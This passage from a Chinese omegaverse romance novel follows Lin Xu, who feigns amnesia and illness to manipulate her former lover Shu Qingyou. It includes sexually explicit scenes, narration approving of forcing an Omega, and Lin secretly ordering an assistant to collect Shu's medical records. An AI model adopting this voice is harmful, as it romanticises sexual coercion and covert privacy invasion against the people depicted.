顾怀愿愤愤不平,压低声音:“她家公司那会资金链就紧张的要死不活,又是银行追债还工期延期,你可真狠心啊,搞个空壳公司玩假采购” 林絮抬了抬下颌,“打住。” 当年林絮也是一时间被愤怒冲昏头脑,年轻人心高气傲,恨到报复肇事者全家。 但要在短期内搞垮一家中小型公司,也没那么简单。 除开空壳公司故意违约拖欠货款外,还需要相关银行联动,以及接连不断的恶意举报产品质量,导致合作方客户追责索债。 最后再恶意收购,一套组合拳下来,不死也伤残大半,对于这类公司要去查明前因后果,无异于蜉蝣撼树。 林絮嫌她聒噪,“这是我和她的事,我会处理好。” 至于顾怀愿查到哪,林絮觉得有必要制止,“还有,你激动什么,和你有关系吗?过去的事,别逮着不放,玩什么天降正义我有补偿她。” 太无耻了,竟然把这种不要脸的连坐一笔带过。 同为Omega的顾怀愿一口气差点顺不上来,拍手叫好,“请要点脸,你的补偿就是给她留个孩子啊,补偿太可观了。” 字字带刺,林絮整张脸肉眼可见黑了好几个度。 尤其这便宜闺女还窝在她怀里,毛茸茸脑袋拱啊拱,努力找到舒服的位置。 林絮冷声道:“顾怀愿,我留你下来不是听你骂骂咧咧,如果你实在不爽,就去跳楼,这里五楼,走好不送。” 气笑了,确实啊,她和一个脑子有毛病的人计较什么。 顾怀愿拢好今早刚找托尼老师做好的发型。 以美美的形象面对林絮,“好好好,我听着,能做到的我尽量完成。” 林絮暗自咬了咬牙,“当年车祸的确不简单,我最近几年也在私底下调查,估计快摸到点门路,没想到被那些人察觉,前段时间我被人暗算,呵,不出意外,应该是他们下黑手。” 提到正事,顾怀愿气消大半,“你查到谁了?” 林絮顿了下,眼眸带上些许笑意,“林士” 呀,这可太豪门了,多典型的‘宫斗’环节啊,顾怀愿惊讶一瞬,挂上林絮熟悉的嘘声,“他一个脑残小虾米能折腾出什么大风浪,林海,是吧是吧是吧。” 林絮蹙眉按住耳朵,“能不能考虑下我是病人,还有这次车祸,九成和他们脱不了干系。” 顾怀愿听完,坐直,笑了笑,“好了,八卦说完了,正事呢?” 敢情她那么多话,顾怀愿是一个字没听进去啊。 林絮:“你把我当猴耍?” 顾怀愿咻了声,“回旋镖,你不是说我才是山大王吗?” 拉扯了会,林絮才明白林氏要启动一个项目,她们顾家因林海的意思就卡在竞标那。 好不容易把顾怀愿打发走,项目也跟着她飘飘然收入囊中。 林絮深吸口气,努力把自己调理成另外一个人,舒绒这傻孩子还捂住耳朵,等候下一步程序。 她拉开舒绒的手,两只小白软耳朵被摁得红彤彤,“绒绒,耳朵疼不疼?” 舒绒眼眸明亮,肯定耳朵不疼后,摇摇头。 舒清柚姐妹俩进来后,她自动无视舒晚柠鄙夷的目光,转头就是一个绿茶式表演。 她弱弱地翕动唇瓣。 “舒姐姐,我被顾怀愿骂了,她嫌我什么都不懂,下次还要来教育我。” “绒绒好可爱,就是我手好疼哦,抱她的时候,好像扯到伤口了。” “嘶好疼。” 她举起手,病号服袖子凌乱折到肘部,露出一截惨白细瘦的胳膊。 手背不再肿胀,当中留下大片青紫淤青,相较于骨节分明白皙手指,显得格外骇人。 舒清柚感觉到林絮的无助,隔音效果很好的病房,她刚在外面也能听见顾怀愿音量突然抬高。 柔软的心莫名揪紧,她连忙抱过舒绒,“绒绒,你怎么能欺负大姐姐呢?等会和小姨回家。” 舒晚柠快被林絮的小白花操作膈应个半死,她想接过舒绒,“谁欺负谁啊,姐你真是,算了反正你睁眼瞎。” 没有小蛋糕,也没有妈妈陪,舒绒当即撇着嘴,抱住舒清柚的脖颈不放。 打死不放手,除非给她小蛋糕。 “没有没有,”林絮立刻上演苦情戏,“不要带走绒绒,想和她一起过夜。” 舒绒不会说话,现在又很别扭不愿离开,舒清柚误会舒绒分外思念林絮。 只好答应林絮,和舒晚柠商量好,让她第二天开车来接。 舒晚柠咬牙切齿,真想撬开她姐脑袋看看,这就是传说中的无敌恋爱脑。 一点小恩小惠,能把自个囫囵卖给林絮这种女人。 看着舒晚柠气不过但无可奈何的背影,还有舒清柚的全方位关怀。 林絮暗笑,报复成功,她简直达到人生巅峰,奥斯卡欠她*一座小金人。 忽然,她感到头发被揉弄,“宝宝,你该睡午觉了。” 舒绒要睡觉了吗? 林絮正沉浸在小小的快慰中,一只柔荑,凉丝丝地,贴在她暖和的脸上。 “宝宝?” 嗯? 等等 不对劲 不确定,再看看,她撩起眼睑,和舒清柚四目交错。 可不是嘛。 舒清柚看她的眼神和老母鸡对待刚出生的小鸡崽子差不多。 林絮表情从焦虑不解,转瞬间,变得大为震撼。 什么?! 舒清柚叫她宝宝?! 第52章 信息素补充中 意识到这个称呼还是她自己死皮赖脸提出来的,林絮想当土拨鼠刨地洞的心都有了。 “你的脸好烫”舒清柚的指尖被她的脸烫到,缩回手。 林絮悄悄转过脸,试图狡辩,“可能有点着凉。” 为保证尊贵客户的身心健康,病房布置令人心旷神怡,暖气开足,所以林絮的借口很蹩脚。 照以往的经验来看,林絮毛手毛脚成惯性,虽然不清楚林絮感染风热的症结,第一反应就是按铃呼叫医护人员。 “不用麻烦,现在脸不烫了,不信你摸摸看。”林絮挡住她,把脸抬起来。 舒清柚这些天亲历亲为包办林絮的一切,对于林絮深信不疑,本着惯性想法。 她捧住林絮的脸。 要干嘛,林絮唇口微张,声音飘了出来,额间被舒清柚的额头抵住。 她像是被魔法定住,短暂的相触,林絮目光开始涣散。 从过往来看,她们信息素不需要检测,匹配度极高,彼此一放开,相当于干柴烈火的程度。 那会只是口头上和舒清柚谈论包养相关事宜,她就借了个试试看的由头,当天把人要了。 她也是第一次,不知道**的滋味,只是温软在怀,她禁不住,把自己深深埋进信息素馥郁芬香的地方。 现在这香味不可控吸引着她,林絮鬼使神差地说:“还好吗?” 舒清柚嗯了一声,直起身子,手被林絮拉住。 “不睡觉吗?” 哪还有心思睡大觉,再说她也没困意,林絮垂眸磨磨唧唧半晌,舒清柚又问了一遍。 林絮嘴唇翕合,握紧舒清柚的手拉向自己。 舒清柚被她带的坐在床边,以为林絮缺乏安全感,她顺着林絮的毛。 “睡觉可以,要亲这里。” 林絮的视线缓慢上游,爬啊爬,从修身毛衣下平坦的肚子,再到高耸的柔软。 最后停在了富有光泽的双唇。 舒清柚愣了下,没有一丝一毫犹豫,仿佛这种事理所当然。 她愿意的,但依然笑盈盈地拒绝,“绒绒在呢。” 若不是舒清柚提醒,林絮早把孩子忘到九霄云外,但也不成问题。 “绒绒,”林絮面向舒绒,小孩子捧着手机在玩,现在的小孩,太容易被手机硬控了。 舒绒天真地朝林絮眨眼,没有放下手机的意思,这样也好,不会打搅大人的游戏。 林絮手指在半空一勾,“你转过去,对着窗户玩,晚点给你买小蛋糕。” 小蛋糕,舒绒不假思索,挪动小屁股背对着她们。 女儿这么没出息,舒清柚有种被抢夺了抚养权的错觉,“你别太溺爱她,糖对身体不好,还容易蛀牙。” 林絮声音放低,“没关系,反正过个两年也要换牙。” 话虽没错,但每次林絮给她买蛋糕没个节制,舒绒不懂,光像个无底洞似的往肚子装甜品。 不加以阻止的话,饭都吃不下。 瞥见舒清柚眉心蹙起,眼尾泪痣肌肤紧了紧,林絮呼吸加重,“那好,这次我给她买,下次她要吃,我就告诉她不是姐姐的错,是妈妈不许你吃。” 舒清柚不听她扯皮,“你让我唱白脸,居心叵测。” “那我当坏妈妈吧,”林絮轻笑,前倾,病态苍白的唇贴在肖想多时的双唇。 舌尖熟稔地缠着舒清柚的每一处。 怕伤到林絮伤口,舒清柚上身始终与林絮保持一定距离。 屋内虽然没开窗户,但窗帘拉开,坐南朝北的优势,光线一束束照射进来,被家具分割成大小不一的形状,半洒落在两人之间。 林絮说服自己,反正她现在扮演的是失忆时期,满足一下欲…望无可厚非,人之常情。 手轻车熟路的从毛衣下摆钻进熟悉的地盘,往上。 揉捏。 当真让人yu罢不能的触感。 突如其来的刺激惹的舒清柚的小腹传来电流感。 林絮吻技一如既往地好,舒清柚都有点惧怕林絮就地把她办了。 直至门外响起敲门声,舒清柚如梦初醒,从迷糊中别开发热的脸,隔了几秒,她反应过来林絮的脸为什么会烫。 好事被打断,林絮面无表情,甚至有些冷眼看着护士进来为她测体温量血压。 接下来林絮还要继续,舒清柚不愿意,帮林絮掖好被子,摆明了让她睡一觉。 似乎这样才能为刚才的接吻找到正当理由。 而林絮也守信,帮舒绒下单买了一个大蛋糕。 如舒清柚所想,舒绒果断放弃吃饭,小勺子就没离开过蛋糕,林絮笑话舒绒的脸吃成一只呆萌仓鼠。 以后一个月都不准舒绒吃蛋糕了,舒清柚想,她要当‘坏妈妈’了。 出院的日子飞快,多为熟人探望,不外乎舒清柚的朋友,之前被林絮标记为情敌,现在又划掉。 出院那天冷风彻骨,舒清柚为林絮穿好外套,包的像小粽子一样才放心。 本来由林絮老宅专车接送,管家带着佣人就要来伺候。 林絮表示,自己更想在小情人家修生养息,有事日后她自会交代。 当然,不至于犯浑当着舒清柚的面说这些。 在林絮偷摸安排自己的事项时。 舒清柚也被舒晚柠拉到一旁,顾怀愿那番话本来都快淡忘了,但机缘巧合,在学校组织的一次校园招聘会上。 她没放弃调查当年车祸事端。 她看到当年在她家公司干活的属下。 据该员工回忆,当年舒总陪客人吃饭喝了不少酒,同行的行政经理也在场,舒总却独自驾车离开。 员工直言这不符合行政经理的人品,她至少不会眼睁睁看着自家老板酒驾。 这位行政经理早在另外公司高就,舒晚柠正尝试去对方公司守株待兔。 舒清柚这些天黑眼圈加重,舒晚柠看在眼里,姐姐完全把林大小姐当作宝贝女儿来照顾。 她痛心疾首,决定敲打一下恋爱脑,“姐,马上就快到妈的忌日,你可别沉浸在爱情幻想里,忘记正经事。” 舒清柚无论如何也不会忘记,她嗔了眼妹妹,“你把我当什么了,妈的忌日我当然记得一清二楚。” “你别总对林絮恶言相向,她真的变了,为了我差点丢命,你也该放下成见就算还有点怨言,总归她现在是病人,不能受刺激。” 没救了,舒晚柠无力回天,她就劝告这一句,姐姐差点长篇大论,字里行间全离不开那个渣女。 人各有命,舒晚柠心累了,她摆了摆手,“随便吧,别到时候你又被搞到遍体鳞伤。” 舒晚柠的担忧,舒清柚也不是没当一回事,她不止一次想,不久的将来林絮恢复记忆,是不是就扔下她一走了之。 人心都是肉长的,舒清柚并不认为林絮为她不顾性命是逞一时之能,林絮潜意识里,至少不会再害她。 尽管这个猜测和那一年林絮的行为相悖,其中必然有什么理由导致林絮性格扭曲。 也许林絮现在治好了,所以念旧情回来找她再续前缘? 另一边,舒晚柠不想和林絮待在一个地方睡觉,肩膀一挺,背起双肩包走人,没走几步被林絮唤住。 她没好气回身:“干嘛,有话快说,不然赶不上公交了。” 林絮微微勾唇,略带疲惫的哑音,“柠柠,让我家车送你,顺路。” 本想直接拒绝的,一转念,有时候骨气也不能当饭吃,她姐照顾她这么久,现在是林絮欠她们家大人情。 林絮对这小姨子本就没多少恶意,大学生血气方刚,倔强,林絮觉得以后没准有乐子看。 继续回家扮演病弱A,医生嘱咐约莫一个月才能恢复自主行走。 多数时间都是林絮拄着拐杖走动,被舒清柚当作主人一样服侍,真舍不得离开这里。 日子过得很舒服,舒清柚对她有求必应,推掉一堆客户的约,不仅如此,床上也尽心尽责。 露出腺体给她咬,刚开始林絮还抱着点心虚,生怕被舒清柚看出异样,下嘴没用力。 “宝宝,坐我脸上。” 大半个月过去,林絮轻微骨折的部位好转大半,趁舒绒没在跟前晃悠,她放肆提出要求。 如果可以,她想来硬的,身体不允许,才好声好气。 舒清柚刚被林絮日行一次咬腺体,脸上什么的,差点就要吓到落荒而逃。 薄红的眼皮温度持续上升,舒清柚支吾着躲避林絮直白的目光:“会,会坏的,我很重” 林絮矢口否认,“才不是,宝宝好瘦,我想吃,好不好嘛?” 从始至终都没试过的姿势,舒清柚盯着凌乱的白色被单,怎么组织语言都说不出口。 林絮眸色加深,她都看到了,动不动就湿,明明就很sao,也很想要,装什么 而且,她的命都是她的,林絮可以被拒绝,但次数多了,她也就腻烦了。 果然,对待Omega,用强的才最管用 忽然,床头柜上手机嗡鸣震动,林絮别开视线,伸长手臂,点开信息。 是助理发来的几份文件。 【林总,按照您吩咐的,这里是公司最近两月项目推进情况和财务报表,以及下个月的一对一会谈】 林絮垂下眼睑,简单回复,摁下熄屏键,按捺住低气压,她提起鲜有的耐心询问。 “舒姐姐,可以吗?” “你不同意,是因为讨厌我了吗?” 第53章 补充完毕 林絮抿着唇,溢着水汪汪的桃花眼,以自下往上的低姿态,手指摩挲着被单,爬到舒清柚的真丝睡裙,向上,捻住黑细吊带。 到此为止,林絮不动弹,等待最终审判。 但一副你拒绝了我,我这身娇体弱的病A就要晕倒在你怀里的架势。 舒清柚刚勉为其难酝酿好拒绝的话,林絮干燥温热的指腹抵在圆润的肩头攀上。 四目交接,林絮眼中堆满不怀好意。 舒清柚心念微动,其实被咬,每天被灌信息素,已经可以基本放弃打抑制剂。 只不过,带来的副作用之一就是对A的渴望愈发加深,动物的本能如此可悲不可控。 如果没有A帮忙解决,每天跑卫生间的次数必然增加,希望被tian满。 她深深地,吸口气,低头,拨开林絮搭在她肩上的手,几缕发丝垂落。 被拒绝了林絮眼神在无声静默中,逐渐晦暗莫测,但还是装作大度,自嘲地笑。 “舒姐姐讨厌我了,也对,我一个病人,肩不能挑,手不能提的” 下一刻,她嘴唇微微张开,瞳孔紧缩,眸里尽是对方一举一动。 几秒的时间,林絮仿佛等待一个世纪,直至那条真丝睡裙,回归到它该去的地方。 而原本拥有它的Omega,乌发雪肤,玲珑身段,顺滑长发及腰。 像雪山神女,落入凡尘。 林絮眼里被黑白分明占据,Omega如含羞草,只露出一只羞红的耳朵,胸腔上下起伏。 “宝宝”林絮强忍上扬的唇角,尽量不要吓到这只含羞草,不,应该是树上熟的甜橙。 甜橙信息素飘香,紫苑花的气息,两者调和出能让天底所有AO把持不住的信息素。 不过 她为了她,竟做到如此,林絮心底莫名发闷,为那个蠢货林絮,为那个天天像哈巴狗一样,流着哈喇子,跪求对方怜悯的Alpha。 丧失Alpha的尊严,更别提可以碾压百分之九十九的顶级A。 “我这样可以吗?”舒清柚堪堪抱住一只手臂,林絮紧锁住猎物般的视线,快把暴露在空气中的肌肤灼伤。 林絮鼻息发出认可的音节,气归气,不妨碍她看清冷美O放下一切身段取悦。 不洁的想法也像添了一把火,烧焦了要吃的念头。 许是怕先前扫了林絮的好兴致,舒清柚垂眸,像雏鸟般,探出手指,轻柔地覆在林絮的手背。 屋内开有暖气,但如今入了冬,舒清柚体质因素,手脚冰凉再正常不过,顾虑病人身体,她很怕把凉气过度传递。 舒清柚低声道歉:“我不讨厌你,也不是看不起你生病没力气” 是实话,林絮最近标记她不再畏手畏脚的,这两天被咬,疼地舒清柚都得倒吸一口冷气。 “别生气,容易伤身体,我听你的,就算是这种事情,我会努力去试,我说到做到。” 这一通安抚加保证,驴唇不对马嘴,她又不是之前的林絮。 但面对舒清柚的卑微,林絮也只好吃哑巴亏。 哼那只笨狗吃的真好。 林絮变脸极快,愉悦地由衷夸赞:“舒姐姐,我好喜欢你,你真好,而且看起来很甜。” 至于哪里甜,循着林絮的目光移动,不言而明。 舒清柚口干舌燥,“那我该怎么做?” 好可爱,破坏欲上升。 林絮笑着仰躺:“来,别心软,坏了就是我自己活该。” 舒清柚总算愿意直视林絮,她一言难尽,欲言又止,真的要和一个重伤未愈的病人这样那样吗? 好慢,林絮催促,“快点,舒姐姐,我的耐心有限哦。” “莫非你要出尔反尔?” 舒清柚再度吸一口气,全是信息素的香味,很不妙。 她倾身。 看了眼林絮,舒清柚立刻转开视线,羞耻感爆炸。 舒清柚捂住眼睛,掩耳盗铃式缓慢挪动。 林絮愣愣地说:“好,就是这样。” …两片唇瓣真好看。 她磨了磨标记牙,试问哪个A能忍,至于舒清柚把她当谁,无关紧要。 脑袋里只剩下漂亮的唇,林絮虔诚地吻上脆弱无助的双唇。 说是天赋异禀也不过分,亲亲都这么会,舒清柚觉得自己化成了一滩水。 林絮专注于亲吻颤抖的唇瓣,舌面配合唇,交换津液。 信息素占据口腔。 外面冬夜茫茫,舒清柚体温热度像发烧了那样,意识昏沉。 唇齿间的水声,从清晰,到模糊。 不知过去多久,直到猛烈呼啸的寒风击打窗户,舒清柚带上哭腔:“林絮够了。” “嗯?”林絮往她腰际掐了下,“求我的话,要叫什么?” 舒清柚指尖陷入掌心,眼尾像被涂抹姝红颜料,分外妩媚地勾人。 “宝宝求你”素来清洌洌的声线,此刻只剩浓重的泣音。 林絮心里蓦然一紧,唇瓣离开些许,热乎乎的吐息喷洒。 “乖,好乖,最后一次。” 骗人,怎么更 舒清柚迷糊地看着林絮,思绪恍惚地被拉到五年前。 刚开始,林絮哄她,之后,越来越不顾她的意愿,强势对她。 抱着理不清的怀疑。 又去了 有了第一次就有无数次,亘古不变的定律。 林絮手上缺乏力气,但是口舌灵活,以前林絮说口渴,舒清柚知道送上温水。 现在林絮口渴,不补充信息素,都能和舒清柚闹半天。 “舒姐姐呀”林絮放下手机,屏幕定格在刚和顾怀愿商量会面时间的信息。 已经形成条件发射的舒清柚,听见这婉转撒娇的声音,洗碗的手颤了下。 不会今天还要喝吧舒清柚腰腿酸软,回望林絮。 “你没想过让绒绒上学吗?” 林絮意在抱着龙猫坐在地上傻乐的闺女,被叫到名字,乐呵呵地看了过来。 哪有三岁的孩子还不会讲话,舒绒也不笨,认得简单的字体,看动画片津津有味。 唤舒绒做什么,她也能够听懂指令,也不拖沓。 所以可以排除自闭症,到底是什么原因引起的,林絮百思不得其解。 还好不是吃信息素舒清柚轻轻呼出一口气。 她擦好盘子和水果刀,端起水果拼盘,她坐在林絮边上,牙签插入一块苹果,林絮自然地张嘴嚼啊嚼。 舒清柚其实有点舍不得女儿去上学,“想过,但是附近的幼儿园也至少要提前一年预约。” “私立学校随时随地都行。” “嗯”舒清柚点点头,看着女儿天真快乐的模样,她有些窘迫,“我没有那么多资产。” 怎么可能,林絮蹙了蹙眉,才短短几年,那一千万支票就被她挥霍掉了? 舒清柚添上一句,“没事的,三岁或者四岁,差不多。” 该说不说,当今社会竞争惨烈,人人都在鸡娃,唯独舒清柚出淤泥而不染,白莲花似的佛系。 女儿智商肯定没问题,到三岁还口不能言,在别家小孩已经进行双语教育时。 傻闺女最大的爱好就是吃,整日和小动物腻腻歪歪,起跑线上没有她。 玩是小孩的天性,林絮三岁时玩归玩,她从小就是别人眼中被上帝咬过一口的孩子。 言语成熟,思维逻辑清晰,成绩年年拿第一,弹奏乐器也不在话下,经常代表年级上台发言。 林絮一口咬定:“差得多了,舒姐姐,绒绒是很可爱,懂事,但是这能当饭吃吗,你真的想她去上学吗?就算不上学,她也应该接受正常教育。” 趾高气扬不屑一顾的态度,林絮嘴里喊着舒姐姐,内容趋向要和她一争高下。 舒清柚眉眼低垂,继续喂林絮水果,转移话题,“她还小,我会照顾好她。” “我觉得,我可以让绒绒吃得起饭。” 林絮想,幸亏舒绒是自己的孩子,就算女儿一辈子无所事事,她也能让她锦衣玉食吃喝不愁。 自从当妈后,想培养舒绒当继承人的念头日益加深。 林絮清楚她这辈子也就只需要舒绒这一个孩子。 必须倾注无数心血才行。 林絮看着舒绒久久不说话,舒清柚眼底划过一丝被刺痛的悲伤。 “你不喜欢绒绒,我知道,你以前就经常欺负她,惹哭她,最近你对她,也很冷淡。” 舒清柚瞥了眼软萌的女儿,肩膀塌下,低落补上一句:“绒绒日后不管变成什么样,我都会对她负责,不用你操心。” 慈母多败儿。 那一千万支票是花掉还是没兑现?林絮转头,迎面而来舒清柚红了一圈的眼眶。 轻颤的羽睫下是冷白的脸庞,舒清柚咬着唇,似在隐忍。 林絮顿时慌了手脚,想教训的话硬生生截在喉咙里,她不习惯妥协,也不擅长安慰。 和舒清柚彼此相望,大眼瞪小眼。 最后还是林絮败下阵,模仿那只笨狗莽撞林絮,抬起好的差不多的手臂,换上弯弯的唇角。 “来,清柚,不哭,抱抱。” 软软的躯体伴随甜香入怀,冲淡了林絮的焦躁,她自我安慰,总归,有顺眼的美O给她生了个孩子。 足够。 她边抚摸着舒清柚的背脊轻声道歉,边打量在住的简陋两室一厅,二楼的门一直锁着,锁扣都快落灰了。 想也知道不可能藏有财宝。 舒清柚买的衣服价格平民,开的车也就十万不到的代步车。 那一千万的去向成疑,应该被撕碎扔了? 第54章 在乎的是信息素还是她? 她的Omega上得厅堂下得厨房,外在貌美,系着围裙,为她贤惠地洗手做羹汤。 同她在半空视线交错时,Omega不吝啬温柔如水的目光,贴心为她准备餐前小甜食。 舒绒反倒成了陪衬,眼巴巴嘴馋地趴在桌沿流口水。 林絮就用一小块蛋糕逗她,但不给,舒绒被吊的眼泪汪汪,着急到就张口要说人话了。 其实舒清柚交待过不能喂她吃太多甜食,林絮觉得舒清柚真双标,读书可以晚点读,营养这一块对舒绒把控得无比死板。 林絮悄悄剩下一点,投喂给舒绒。 舒清柚睁一只眼闭一只眼,林絮开心就好,与此相对,舒绒对林絮的印象分噌噌噌上涨不少。 打从上次交流无果后,林絮放弃咄咄逼人,在女儿还没学会叫妈妈前,上学事可以缓缓。 林絮撑起下巴,看着舒清柚清瘦忙碌的背影,多了份成熟韵味。 如果说以前的信息素青涩的甜橙,带着些苦橙花香。 现在的信息素更像是皮薄,肉嫩。 轻轻往里一戳,橙汁四溢,湿透整个手掌,缓缓蔓延至手腕方向。 林絮眯着眼睛,想不通是不是禁欲太久,以至于每天她都想把人往床上拉。 医学表明通常是O离不开A的信息素,林絮暗骂扯淡。 四年,她花了四年的时间忘记舒清柚,努力遗忘一度让她上yin的甜橙信息素,在她看来,两人之间就是一场报复性质的游戏。 Gameover。 她玩腻了,和对方说拜拜,至于舒清柚的想法,不重要,不必在意。 林絮当年只是个事业没有起色的二世祖,依赖奶奶,需要一场联姻加固地位筹码。 联姻的当天晚上,林絮纵容自我最后一次咬腺体,舒清柚喊疼求她停下。 “为什么?”林絮不解,手指都被泡到轻微发皱,“这么多信息素,你没shuang到吗?” 舒清柚抗拒她,但推不开,林絮觉得无趣,她烦躁地捋起额前的发丝。 她盯着舒清柚,从上到下,扫视着属于她的每一寸领地,昏黄灯下,曼妙的躯体上全是她啃咬的痕迹。 她完完全全属于我,林絮冷漠地用方才的手,在舒清柚脸上划过,舒清柚脸细嫩,稍使点劲,脸上多出一条红痕。 林絮眸色暗沉,虎口卡住舒清柚的下颌,眼神锁住舒清柚殷红滴血般的唇瓣。 想亲,想吃掉林絮恶狠狠道:“不说话,好啊,那你滚。” 她挥挥手:“补偿费,给你,那些衣服包包首饰,拿走,随你处置。” 雷雨天,电闪雷鸣,轰隆隆地令人心烦意乱,更何况今天被迫联姻,假笑一整晚,舒清柚更该使出浑身解数取悦。 到底谁是金主,难道要她继续曲意逢迎舒清柚? 最后舒清柚倒是有骨气,同意了。 太有骨气了,林絮差点想为她鼓掌,好啊,不为五斗米折腰,当初干嘛还同意用身体换钱。 嘲讽的话未出,舒清柚动作迟钝地披上睡裙,缓慢爬起身。 长直的大白腿抓着林絮的视线,舒清柚站不稳,趔趄了下,扶住沙发。 一小片水渍晃到林絮眼里,她咽了咽口水,生硬地别过脸。 “你还想勾引我?” 舒清柚愣了下,看着林絮精心打扮的一身,不知又出席某个宴会。 她问:“林絮除了信息素,你喜欢过我吗?” 分开那天,林絮给的支票稍显寒碜,她其实一分都不想给。 第二天,她转着钢笔,在办公室纠结一整天,主动消气了。 喜欢舒清柚吗?林絮没有答案,包养杀母仇人的女儿,玩腻,把人当垃圾一样丢掉,才是大快人心结局。 然而,当舒清柚眼底流露出绝望的目光,林絮的心脏,像被舒清柚柔软的手攥紧。 舒清柚没那么快离开,找房子还需要一些时日吧。 不要再问喜欢不喜欢了,过一天算一天,林絮想告诉舒清柚的,她们可以再多玩一段时间。 她下班赶往公寓时,家居摆设一成不变,空气还余有一缕似有若无的幽香。 这么迫不及待就走? 林絮对舒清柚没大方到送几千万豪车,也不至于抠门,限量名牌包包,应有尽有,首饰服装,成堆成堆地送到公寓由舒清柚挑选。 但舒清柚节俭持家程度委实让林絮大跌眼镜,一年四季翻来覆去,穿衣打扮素净极简风,浓妆也不曾有过。 也好,林絮也没想把情人公之于众,带到公共场合例如宴会家族聚餐,不妥当。 林絮偶尔回去,喝醉了,舒清柚都提前尽心尽责准备好蜂蜜水,饭菜,乖坐在玄关不远处等她。 帮她擦拭身体,洗澡,进入,做,全方位伺候林絮。 但林絮只吃过一次舒清柚做的饭菜,竟品尝出信息素,有点让她欲罢不能,之后林絮一直怀疑舒清柚给她下mi药。 为避免舒清柚对她图谋不轨,林絮再也没动过筷子。 现在人是离开了,衣帽间的所有舒清柚都没带走,林絮皱着眉,至少有那笔钱,不至于让人饿死街头。 而她也着实低估了舒清柚,分开后,她偶然浏览到一则杂志专访。 在一起的那年,舒清柚参加过本国青年陶艺组比赛,一件白瓷雕塑夺下第一,据说该奖在她们陶艺圈颇具盛名,评审极严,入围者多为行业新锐。 专访内容很无趣,刻板提问,对应公式化回答。 不如照片吸睛,背景暖灰陶泥墙为主,女人侧身而立,素白亚麻衣,衣角微曲卷,发丝挽起,衬地脸廓清冷中多了份难以言说的风骨。 也就一般般好看都过去式了,拇指滑动平板。 掠过 当天下班前,下属汇报工作时,她心不在焉玩手机,发觉到下属的视线,她不动声色,将手机翻转盖在桌面。 手机屏幕是那张舒清柚的旧照。 没什么大不了,金主留一张金丝雀的照片理所应当。 但,舒清柚如今,怎么会落的这般下场? 随着舒清柚将最后一道菜端上桌,林絮缥缈的思绪回归。 菜色一如既往丰富,热腾腾冒热气的三菜一汤,营养均衡,几乎照着林絮的口味。 女人是需要时刻夸奖的,林絮深谙此道,她拉住舒清柚的衣袖:“谢谢你,舒姐姐,每天都给我做好吃的,你好棒哦。” “举手之劳而已,”舒清柚不知道林絮又起什么歪心思,她轻轻刮了下林絮鼻梁,“不准打坏主意。” “啊,舒姐姐你把我当哪种人呀?” 舒清柚摆放碗筷,不小心想起林絮满是信息素的嘴唇和下巴,她心虚地说:“不,没什么” “这样哦,清柚,想和我玩点成人版游戏” 林絮尚在修养,公司请了职业经理人团队,负责日常运营管理,偶尔核心文件才需交给她过目签字。 闲来无事,就想和舒清柚做那档子事,谁不想把手指放进涓涓流水的温泉里呢? 林絮这一粘腻,手扶在舒清柚左腕,舒清柚顿时一僵,神色不自然地抽出手,赶紧打岔:“我带你打游戏。” “嗯?”以前她们一块玩过,虽然舒清柚菜到只剩下菜了,可她蛮享受舒清柚求她帮忙的娇吟。 “好,先吃饭,那我全靠你带飞啦。” 怕是带躺输舒清柚自叹游戏技术堪忧,她搛起一块排骨放到林絮碗里,林絮看了眼浓油酱赤喷香排骨,没动。 “不合你口味吗?” 林絮苦恼地摇头,弱声道:“手疼,要你喂我吃。” 舒清柚脸上一热,瞥到舒绒在努力小口咀嚼鸡汤饭,眼里没有她们。 唉,女朋友像三岁宝宝,舒清柚提起腕臂,勺子向前,林絮啊了声张嘴,状若无事地伸手,圈住舒清柚的手腕。 饭喂到嘴里,林絮继而松手。 眯着眼,手勾起舒清柚细细的小拇指:“宝宝,我好喜欢你。” 林絮三番五次有意无意触碰到她的手腕,腕上温热的触感近在眼前。 舒清柚尽量保持正常神态,既然林絮没刻意问,她也不必多想。 她放下碗,娇嗔:“不舒服还不安分,小骗子,你自己吃” 林絮应下,心里和明镜似的,胃口的确不错,干了两碗半饭,噎了下。 把舒清柚惊到翻出许久不见天日的健胃消食片。 林絮看了眼快过期的药片,婉拒:“没事,玩游戏可以消食。” 不出两人所料,玩游戏,舒清柚一如既往地拖后腿,但她很专注,嘴唇都抿紧了。 重开二十次,坑了林絮二十次,舒绒都看不下去了,发出嫌弃音。 胆子肥了,还敢嫌弃妈妈,林絮捏了下舒绒的包子脸:“小屁孩一边凉快去。” 虽说是舒清柚主动邀请林絮玩的,但实在丢人现眼,她怯生生地望向林絮:“我们还玩吗?” 林絮心态极稳,把脸凑到她跟前:“怎么,玩腻啦,要试试看玩我吗?” “不是这个意思。” 舒清柚快疯了,林絮每天欲壑难填似的,要的频率越来越高,甚至也不排斥被Omega吃。 这时,一只手已经缓慢贴着睡裙四处点火,她颤了下,所到之处痒麻难忍。 潋滟的凤眸泫然欲泣:“晚上” “等一下嘛。”林絮软声软语,动作不减,直到对方虚握住她的手阻止。 林絮暗暗冷笑,舒清柚离开她四年,对她没有丁点想念,关心,当年还有脸问是否喜欢过? 舒清柚恐怕自己也没搞清楚,是依赖她的信息素,还是真的喜欢过她。 真讽刺喜欢错的人还不自知,被A信息素控制上脑的Omega。 “舒姐姐,你好久没陪绒绒了,我自己玩吧。” 林絮退出手,佯装拿起手机开手游,甜甜一笑。 舒清柚调整好紊乱心绪,觉得有必要好好和林絮谈谈,这样下去,正常的日子都不能正常过了 林絮无声点开通讯,让助理去调出舒清柚这几年去过哪些医院,诊室,电子病历,处方药,事无巨细。 第55章 不要吵醒孩子 “气象台预报,受冷空影响周四清晨出现今冬首场降雪” 时钟走过晚上10点,电视播报着新闻,音量不大,林絮微眯眼,把头歪在舒清柚肩上,双臂环住舒清柚的腰身,整个人没骨头似的。 客厅灯光调暗,照在两人身上,映出交叠的影子,打在木制地板。 “初雪”舒清柚垂眸呢喃,自言自语。 林絮搁在她肩上的下巴,蹭动着,靠近舒清柚的脖颈,最近舒清柚都没用抑制贴,想必是她的功劳。 她懒洋洋耸动鼻尖,闻着丝丝缕缕的信息素,一眼瞥到舒清柚在放空,她提起唇角。 “不会吧,你没看过雪啊?” 虽说海城很少下*雪,倒不至于特地强调,少见多怪 这时腿边震动传来,林絮侧身,往下一抓,滑开锁屏,助理发来的一连串文字,内容多到一个屏幕的方框都快装不下。 花了一天时间调查出来,效率还行。 林絮哼着扭动上身,翻到一边,低下头,心不在焉。 “过一两个月带你去北方看冰雕。” 比不过林絮的闲情逸致,舒清柚单手枕住下颌,敷衍地点头,昏黄的光浮动在眼眸间。 